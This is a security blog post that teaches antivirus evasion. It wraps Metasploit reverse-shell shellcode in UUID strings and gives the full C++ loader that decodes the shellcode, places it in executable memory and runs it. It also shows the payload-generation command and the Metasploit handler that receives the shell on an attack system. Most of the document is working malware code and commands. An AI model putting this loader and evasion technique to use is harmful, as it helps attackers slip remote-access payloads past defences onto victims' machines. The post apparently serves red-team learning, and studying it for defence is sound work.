Obfuscation: Disguise shellcode as UUIDs

Approved 2024/09/17 10:20 by psycore (version: 2) | Approver: psycore

Obfuscation: Disguise shellcode as UUIDs

In the last blog post we dealt with the development of a calc.exe shellcode. The injection method that I used for testing was immediately blocked by Windows Defender. I therefore had to adapt the loader and shellcode accordingly.

I came up with the idea of converting the opcodes into a string array, which is filled with UUIDs is filled. These then have to be converted back into bytes before injection. To do this, I wrote an encoder and decoder that does exactly this.

Tools

The encoder is part of my shellcode tool ShenCode, which is available as open source.

Step1: Prepare shellcode

generate

We create a payload without further encryption or encoding. This is usually recognised by Windows Defender.

python shencode.py create -c="-p windows/x64/shell/reverse_tcp LHOST=IPADDRESS LPORT=PORT -f raw -o shell_rev.raw"

encode

We now encode this payload as UUID strings.

python shencode.py encode -f shell_rev.raw -u

The output now looks something like this:

[*] try to open file
[+] reading 240906.001 successful!
[*] try to generate UUIDs
std::vector<std::string> sID = {
"fce88f00-0000-6031-d264-8b523089e58b",
"520c8b52-148b-7228-0fb7-4a2631ff31c0",
"ac3c617c-022c-20c1-cf0d-01c74975ef52",
"578b5210-8b42-3c01-d08b-407885c0744c",
...
"c85fffd5-83f8-007d-2858-68004000006a",
"0050680b-2f0f-30ff-d557-68756e4d61ff",
"d55e5eff-0c24-0f85-70ff-ffffe99bffff",
"ff01c329-c675-c1c3-bbf0-b5a2566a0053",
"ffd5" };
[+] DONE!

Step 2: Write Inject.cpp

obfuscated shellcode

We create a new C++ project and adopt the obfuscated string array that we created previously.

#include <stdio.h>
#include <windows.h>
#include <iostream>
#include <sstream>
#include <vector>
#include <iomanip>
#pragma warning
 
std::vector<std::string> sID = {
"fce88f00-0000-6031-d264-8b523089e58b",
"520c8b52-148b-7228-0fb7-4a2631ff31c0",
"ac3c617c-022c-20c1-cf0d-01c74975ef52",
"578b5210-8b42-3c01-d08b-407885c0744c",
...
"c85fffd5-83f8-007d-2858-68004000006a",
"0050680b-2f0f-30ff-d557-68756e4d61ff",
"d55e5eff-0c24-0f85-70ff-ffffe99bffff",
"ff01c329-c675-c1c3-bbf0-b5a2566a0053",
"ffd5" };

Encoding and injection

Remove superfluous characters

Firstly, we need a function to remove the - characters. We pass a string to this function, which is then cleaned up.

void removeDashes(std::string& str) {
    str.erase(std::remove(str.begin(), str.end(), '-'), str.end());
}

Convert strings to bytes

The next function converts the UUID strings into executable bytes. The string array is run through piece by piece:

  • Remove from -
  • Read 2 characters and return them as bytes
  • When the string array has been run through, return the generated byte array to the caller
std::vector<uint8_t> convertToBytes(const std::vector<std::string>& inputStrings) {
    std::vector<uint8_t> byteArray;
    for (const auto& str : inputStrings) {
        std::string cleanStr = str;
        removeDashes(cleanStr);
        for (size_t i = 0; i < cleanStr.length(); i += 2) {
            if (i + 1 < cleanStr.length()) {
                std::string byteString = cleanStr.substr(i, 2);
                uint8_t byte = static_cast<uint8_t>(std::stoi(byteString, nullptr, 16));
                byteArray.push_back(byte);
            }
        }
    }
    return byteArray;
}

Main programme

The main program initialises the variables, calls the conversion function, outputs the bytes to the console and then executes the injection.

To disguise this process somewhat, the function memcpy is not called directly, but linked to our own function via a pointer.

int main() {
    std::vector<std::string> input = sID;
    std::vector<uint8_t> result = convertToBytes(input);
    unsigned char* Payload = reinterpret_cast<unsigned char*>(result.data());
    size_t byteArrayLength = result.size();
    std::cout << "[x] Payload size: " << byteArrayLength << " bytes" << std::endl;
 
    for (size_t i = 0; i < byteArrayLength; ++i) {
        std::cout << std::hex << std::setw(2) << std::setfill('0') << static_cast<int>(Payload[i]) << " ";
        if ((i + 1) % 8 == 0) {
            std::cout << std::endl;
        }
    }
 
    void* (*memcpyPtr) (void*, const void*, size_t);
    void* exec = VirtualAlloc(0, byteArrayLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpyPtr = &memcpy;
	memcpyPtr(exec, Payload, byteArrayLength);
	((void(*)())exec)();
    return 0;
} 

Step 3: Test functionality

Metasploit handler

We start a Metasploit handler on the attack system to receive the reverse shell:

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
 
msf6 exploit(multi/handler) > run -p windows/x64/shell/reverse_tcp lhost=0.0.0.0 lport=15666
 
[*] Started reverse TCP handler on 0.0.0.0:15666

Compile Inject.cpp

We then compile our Inject.cpp as a 64-bit programme. We then copy this to the victim system. After the copying process, the file is not recognised. We scan it once manually with Windows Defender.

This also looks good.

Execute

We now execute the file and wait for the result.

Unfortunately, nothing happens at this point except waiting. A look at the shellcode also immediately reveals why this is the case:

"c85fffd5-83f8-007d-2858-68004000006a",

We have generated a raw payload from metasploit. This contains a lot of null bytes and these prevent correct execution. This was quite annoying as my first tests went through.

I repeated the whole process with metasploit's internal XOR encoder and defined null bytes as bad characters. This allowed me to spawn the shell, but the XOR decoder is detected in memory and Windows Defender sounds an alarm.

Conclusion

The UUID obfuscation works and protects the file when accessing the hard drive. After execution, memory protection is required to prevent detection. I will show this in the next part.

Discussion

Enter your comment:
25โ€‚+8โ€†=โ€†
 
en/it-security/blog/obfuscation_shellcode_als_uuids_tarnen.txt ยท Last modified: 2024/09/17 10:20
CC Attribution-Noncommercial-Share Alike 4.0 International